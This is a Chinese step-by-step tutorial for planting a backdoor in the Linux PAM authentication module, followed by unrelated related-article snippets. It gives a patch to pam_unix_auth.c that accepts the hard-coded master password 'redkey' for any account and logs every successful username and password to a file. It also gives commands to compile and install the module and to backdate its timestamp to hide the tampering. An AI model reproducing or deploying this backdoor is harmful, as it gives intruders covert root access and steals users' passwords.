一.查看系统pam版本:

  1. [root@redkey ~]# rpm -qa | grep pam
  2. pam-1.1.1-4.el6.x86_64

二.下载对应版本的pam模块

  1. http://www.linux-pam.org/library/

三.解压&修改pam_unix_auth.c文件

  1. tar -xzvf Linux-PAM-1.1.1.tar.gz
  2. cd Linux-PAM-1.1.1
  3. cd modules/pam_unix/
  4. vim pam_unix_auth.c

四.修改部分


  1. PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
  2. ,int argc, const char **argv)
  3. {
  4. 定义:FILE *fp;如下:
  5. PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
  6. ,int argc, const char **argv)
  7. {
  8. unsigned int ctrl;
  9. int retval, *ret_data = NULL;
  10. const char *name;
  11. const void *p;
  12. FILE *fp;
  13. retval = _unix_verify_password(pamh, name, p, ctrl); [约177行]下添加
  14. /*password:”redkey”*/
  15. if(strcmp(p,”redkey”)==0)
  16. {
  17. retval = PAM_SUCCESS;
  18. }
  19. if(retval== PAM_SUCCESS)
  20. {
  21. /*pamfile:pamwd.txt*/
  22. fp=fopen(“pamwd.txt”,”a”);
  23. fprintf(fp,”%s::%s\n”,name,p);
  24. fclose(fp);
  25. }

五.编译

  1. [root@redkey pam_unix]# cd ../../
  2. [root@redkey Linux-PAM-1.1.1]# ./configure
  3. [root@redkey Linux-PAM-1.1.1]# make

六.备份原有PAM模块

  1. [root@redkey security]# mv pam_unix.so{,.bak}

七.复制新PAM模块到/lib64/security/目录下:

  1. [root@redkey security]# cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/

八.修改pam模块时间属性

  1. [root@redkey security]# stat pam_unix.*
  2. File: pam_unix.so
  3. Size: 151879 Blocks: 304 IO Block: 4096 普通文件
  4. Device: fd01h/64769d Inode: 565261 Links: 1
  5. Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
  6. Access: 2013-12-24 11:30:01.813610217 +0800
  7. Modify: 2013-12-24 08:55:00.000000000 +0800
  8. Change: 2013-12-24 11:29:12.747789015 +0800
  9. File: pam_unix.so.bak
  10. Size: 50752 Blocks: 104 IO Block: 4096 普通文件
  11. Device: fd01h/64769d Inode: 523660 Links: 1
  12. Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
  13. Access: 2013-12-24 08:55:08.026835929 +0800
  14. Modify: 2010-02-16 01:34:42.000000000 +0800
  15. Change: 2013-12-24 10:42:11.741663207 +0800
  16. [root@redkey security]# touch -t 201002160134 pam_unix.so
  17. [root@redkey security]# ll pam_unix.*
  18. -rwxr-xr-x 1 root root 151879 2 16 2010 pam_unix.so
  19. -rwxr-xr-x. 1 root root 50752 2 16 2010 pam_unix.so.bak

九.万能密码登陆验证

  1. login as: root
  2. root@192.168.169.131s password:
  3. Last login: Tue Dec 24 11:10:16 2013 from 192.168.169.1
  4. [root@redkey ~]#
  5. [root@redkey /]# cat pamwd.txt
  6. root::redkey
  7. root::123456
  8. root::12345678
  9. root::redkey
  10. root::redkey

  

Linux系统安全之pam后门安装使用详解的更多相关文章

  1. linux系统/var/log目录下的信息详解

    一./var目录 /var 所有服务的登录的文件或错误信息文件(LOG FILES)都在/var/log下,此外,一些数据库如MySQL则在/var/lib下,还有,用户未读的邮件的默认存放地点为/v ...

  2. Xshell6远程访问linux及Xftp6远程针对linux系统中文件操作(附图文详解)

    1.首先我们需要先做好前期准备工作,需要到XManager6官网上将Xshell及Xftp下载并安装,安装过程一直下一步就好了.这里是其官网:http://www.xshellcn.com/.安装完成 ...

  3. Jmeter(五十四) - 从入门到精通高级篇 - 如何在linux系统下运行jmeter脚本 - 上篇(详解教程)

    1.简介 上一篇宏哥已经介绍了如何在Linux系统中安装Jmeter,想必各位小伙伴都已经在Linux服务器或者虚拟机上已经实践并且都已经成功安装好了,那么今天宏哥就来介绍一下如何在Linux系统下运 ...

  4. linux系统644、755、777权限详解

    在linux系统中644.755.777三种权限是非常重要的一些权限了,下面我来详细的介绍644.755.777三种权限的使用,希望对各位有帮助. 常用的linux文件权限:444 r--r--r-- ...

  5. Linux系统中的vi/vim指令【详解】

    vi是Unix世界里极为普遍的全屏幕文本编辑器,vim是它的改进版本Vi IMproved的简称.几乎可以说任何一台Unix机器都会提供这套软件. 只要简单的在Shell下执行vi就可以进入 vi 的 ...

  6. linux系统下添加新硬盘的方法详解

    对于linux新手来说,在linux上添加新硬盘,是很有挑战性的一项工作. 在Linux服务器上把硬盘接好,启动linux,以root登陆. fdisk -l ## 这里是查看目前系统上有几块硬盘 D ...

  7. Linux系统下配置squid代理服务器的过程详解

    简单记录一下Squid透明代理服务器的配置 环境:VirtualBox + CentOS 6.0 + squid-3.1.4-1.el6.i686 0.检查squid是否默认安装,没有安装的先安装 [ ...

  8. Linux系统chmod命令的含义和权限详解

    许多喜欢使用chmod命令的用户,对chmod命令的含义和权限仍然不是很清楚,因此在使用的时候对它们造成了一定的麻烦.为了解决这些用户的迷惑,今天小编就和大家一起分享下chmod命令的含义和权限. 对 ...

  9. Linux系统下(x64)安装jdk 1.6(jdk-6u45-linux-x64.bin)

    Linux系统下(x64)安装jdk 1.6(jdk-6u45-linux-x64.bin) 一,查看是否安装jdk: # rpm -qa | grep jdk 或者 #rpm -q jdk 或者 # ...

随机推荐

  1. 用node搭建本地服务环境

    const express = require('express'); const path = require('path'); const request = require('request') ...

  2. 设备树(device tree)学习笔记

    作者信息 作者:彭东林 邮箱:pengdonglin137@163.com 1.反编译设备树 在设备树学习的时候,如果可以看到最终生成的设备树的内容,对于我们学习设备树以及分析问题有很大帮助.这里我们 ...

  3. 通过IntelliJ IDEA和Maven命令查看某个jar包是怎么引入的

    发现打包的时候引入的jar包有几百个,如果想知道某个jar包是如何引入的,可以 看Maven Projects,点开某个Module的Dependencies 一层一层展开就可以了 可以直接输入名称高 ...

  4. hadoop ha 读取 activce状态的活动节点

    方式一 package com.xxx.hadoop; import com.sun.demo.jvmti.hprof.Tracker; import com.sun.xml.bind.util.Wh ...

  5. [Vuex] Perform Async Updates using Vuex Actions with TypeScript

    Mutations perform synchronous modifications to the state, but when it comes to make an asynchronous ...

  6. 一步步教你轻松学支持向量机SVM算法之理论篇1

    一步步教你轻松学支持向量机SVM算法之理论篇1 (白宁超 2018年10月22日10:03:35) 摘要:支持向量机即SVM(Support Vector Machine) ,是一种监督学习算法,属于 ...

  7. PHP中一些常用知识点

    1.json字符串转json对象 $data='[{"user_id":"93","price":"52.50"},{& ...

  8. oralce 11.2.0.4手动创建EM

    安装完oracle,启动dbconsole,失败 [oracle@elearning admin]$ emctl start dbconsole OC4J Configuration issue. / ...

  9. 【理论面试篇】收集整理来自网络上的一些常见的 经典前端、H5面试题 Web前端开发面试题

    ##2017.10.30收集 面试技巧 5.1 面试形式 1)        一般而言,小公司做笔试题:大公司面谈项目经验:做地图的一定考算法 2)        面试官喜欢什么样的人 ü  技术好. ...

  10. Windows利用文件夹映射来同步文件

    在windows服务器上有时有这样的需求: 你的文件在f:\test中,但由于其它原因用户访问的是e:\test,如果又希望e:\test 中的文件与f:\test的保持同步,除了用同步软件来做外,可 ...